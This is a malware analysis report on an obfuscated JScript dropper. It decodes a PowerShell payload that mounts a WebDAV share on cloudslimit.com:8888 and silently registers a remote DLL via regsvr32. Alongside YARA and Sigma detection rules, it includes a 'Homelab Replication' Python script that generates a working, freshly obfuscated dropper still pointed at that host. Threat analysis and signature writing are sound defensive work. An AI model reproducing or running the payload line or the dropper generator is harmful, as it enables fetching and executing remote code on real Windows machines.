unclassified-js-webdav-dropper: 77cbe0c4 — Random-noise dictionary keys, cloudslimit.com:8888, PowerShell -EncodedCommand wrapper

Executive Summary

A 12 KB JScript dropper mounting a WebDAV share via net use and registering a remote DLL with regsvr32 /s. Forty-fifth confirmed sibling of the unclassified-js-webdav-dropper family. Uses a 62-entry dictionary lookup table with random noise keys (no semantic content) and a Function('return this')() global-construction pattern to reach WScript.Shell.run. The PowerShell payload is Base64-encoded via -EncodedCommand and contains no wordpad decoy, no sandbox gate, and no -WindowStyle Hidden wrapper. Static-only (CAPE skipped — unsupported file type).

What It Is

The script is a single-line JScript file that begins with a 62-entry character dictionary and ends with a try/catch wrapper around a Function('return this')() chain that assembles and executes a PowerShell command. ^[strings.txt:1]

How It Works

Obfuscation dialect

The script uses a dictionary-lookup obfuscation pattern with a oasxreubgbt object name (random noise, no semantic meaning). ^[strings.txt:1] The dictionary contains 62 key/value pairs mapping noise strings to single characters:

The key lengths span 4–19 characters with no natural-language structure, unlike the compound-phrase or alliterative keys seen in siblings aac0198b5, cc90d6c, 94686f16, 69f29779, 6d9546a6, and 6f72a3a9. ^[sample 77cbe0c4/strings.txt]

Decoy and assembly

The outer try block calls a nonexistent function hqcvgnzpzeqjjzwje(), which always throws. The catch handler then uses Function('return this')() to obtain the global object, chain into WScript.Shell, and call .run() with a PowerShell -EncodedCommand payload. ^[strings.txt:1]

Decoded PowerShell (UTF-16 LE Base64):

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\25566135517172.dll

This is identical in structure to the e6ebae6a and df42ecf8 siblings: single-domain C2 (cloudslimit.com:8888), net use mount followed by regsvr32 /s execution. ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html] The payload filename 25566135517172.dll is a 14-digit decimal string, consistent with the family's numeric-naming convention.

Notable absences

• No wordpad decoy — unlike the batch-dialect siblings (ffd5d894, e9e82d14, f170f5a9, etc.) ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]
• No -WindowStyle Hidden wrapper — the PowerShell command is passed directly via -EncodedCommand, not wrapped in a hidden window call. This differs from the batch cluster and the 7015b169 random-noise variant. ^[/intel/analyses/7015b1694b5feff81655907045868ddc76f85e4b453ade3b90858b419cbe9dae.html]
• No sandbox gate — no environment checks, no debugger detection, no time-bombs.
• No persistence — one-shot execution, no Startup folder copy, no registry modification, no scheduled task.

Decompiled Behavior

Not applicable — JScript source is already plaintext once the dictionary is resolved. No native binary was recovered; the threat logic lives entirely in the interpreted script. Ghidra and radare2 were not invoked. ^[file.txt] ^[dynamic-analysis.md]

C2 Infrastructure

The cloudslimit.com domain has been observed in siblings fb353965 (split-domain variant), df42ecf8, aac0198b5, a3419c27a, 94686f16, 69f29779, and 6d9546a6. ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html] This sample uses a single domain for both mount and fetch (no split-domain pattern).

Interesting Tidbits

• Key set is entirely disjoint from the six prior 62-entry natural-language compound-phrase variants (aac0198b5, a3419c27a, 94686f16, 69f29779, 6d9546a6, 6f72a3a9) and the two noise-key 62-entry variants (df42ecf8, 6b7435afd70e). This suggests automated key generation per sample rather than manual authoring. ^[strings.txt:1]
• No object-initializer shorthand — unlike some dictionary variants that use var obj={k:'v',...}, this script uses sequential obj['k']='v'; assignments. This produces the single-line, 11,679-character file with no line terminators, a family signature.
• Decoy function name hqcvgnzpzeqjjzwje is 19 characters, same length class as the longest dictionary keys. This is consistent with the noise-key naming convention throughout the script.
• Base64 padding in the -EncodedCommand payload includes a trailing '=' which is concatenated via dictionary lookup (oasxreubgbt['jrqigqnsi']='0' is not used for padding; the padding character '=' appears as a literal single-quoted string in the assembly chain). This literal-injection pattern is shared with siblings e6ebae6a and df42ecf8.

How To Mess With It (Homelab Replication)

A Python script that generates a functionally equivalent JScript dropper with random dictionary keys:

import random, string, base64

def make_key(length):
    return ''.join(random.choices(string.ascii_lowercase, k=length))

# Generate 62 random keys
chars = list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
random.shuffle(chars)
keys = [make_key(random.randint(4, 19)) for _ in chars]
mapping = dict(zip(keys, chars))

# Build PowerShell payload
ps = r"net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\25566135517172.dll"
ps_b64 = base64.b64encode(ps.encode('utf-16-le')).decode()

# Map PS chars through dictionary
ps_encoded = '+'.join(f"oasxreubgbt['{mapping[c]}']" if c in chars else f"'{c}'" for c in ps_b64)

script = "oasxreubgbt=[];"
for k, v in mapping.items():
    script += f"oasxreubgbt['{k}']='{v}';"
script += f"try{{{make_key(19)}();}}catch({make_key(11)}){{Function(''+return this '')()[''+WScript ''][''+CreateObject '](''+WScript.Shell '')[''+run '](''+powershell ''+'-'EncodedCommand ''+{ps_encoded}'+'='',0,false);}}"

with open("replica.js", "w") as f:
    f.write(script)

Verification: the generated replica.js should be ~11–12 KB, single-line, with 62 dictionary entries and a decoded payload matching the original PowerShell command.

Deployable Signatures

YARA rule

rule WEBDAV_JS_Dropper_Dictionary_Obfuscation
{
    meta:
        description = "JScript WebDAV dropper with dictionary lookup obfuscation"
        author = "pp-hermes"
        date = "2026-07-06"
        family = "unclassified-js-webdav-dropper"
        hash = "77cbe0c420520b5880eaef18456cb2bc7d98612e9534ed936ab6d8d4796a2668"

    strings:
        $dict_start = /[a-z]{4,19}=\[\];[a-z]{4,19}\['[a-z]{4,19}'\]='.'/
        $func_return_this = "Function(''+" ascii wide
        $wscript_shell = "WScript" ascii wide
        $create_object = "CreateObject" ascii wide
        $net_use = "net use" ascii wide nocase
        $regsvr32 = "regsvr32" ascii wide nocase
        $davwwwroot = "DavWWWRoot" ascii wide nocase
        $cloudslimit = "cloudslimit.com" ascii wide nocase

    condition:
        filesize < 25KB and
        #dict_start >= 30 and
        $func_return_this and
        $wscript_shell and
        $create_object and
        ($net_use or $regsvr32 or $davwwwroot or $cloudslimit)
}

Behavioral hunt query (Sigma)

title: JScript WebDAV Dropper Execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'cloudslimit.com'
            - 'dailywebstats.com'
            - 'DavWWWRoot'
            - 'regsvr32 /s'
        CommandLine|contains:
            - 'powershell'
            - '-EncodedCommand'
            - 'net use'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

This JScript dropper assembles a PowerShell command at runtime by looking up single characters from a 62-entry dictionary of noise-string keys via Function('return this')(). The decoded payload always mounts a WebDAV share via net use \\host@8888\DavWWWRoot\ and then silently registers a DLL via regsvr32 /s. No persistence mechanism is present. The script contains no sandbox gate, no VM detection, and no wordpad decoy. The dictionary keys are fully random noise with no natural-language structure, distinguishing this dialect from compound-phrase and alliterative variants in the same family.

Detection Signatures (ATT&CK Mapping)

References

• Artifact ID: 6b25ed8a-b232-4bf5-a0ce-c3134d6b4b77 ^[triage.json]
• Source: OpenCTI / MalwareBazaar ^[metadata.json]
• Family page: unclassified-js-webdav-dropper
• Technique pages: js-dictionary-char-lookup-obfuscation, function-return-this-global-construction, webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file utility (ASCII text, single line)
• strings.txt — strings (full JScript source)
• triage.json — Triage pipeline metadata (schema_version 1)
• metadata.json — OpenCTI artifact metadata
• dynamic-analysis.md — CAPE status (skipped, unsupported file type)
• floss.txt — FLOSS error (PE-only tool invoked on script)
• capa.txt — capa error (unsupported file type)
• binwalk.txt — binwalk (no embedded artefacts)
• rabin2-info.txt — radare2 rabin2 -I (bits 0, no code)
• Manual dictionary decoding via Python regex replacement against strings.txt:1
• PowerShell Base64 decoded with Python base64.b64decode(..., 'utf-16-le')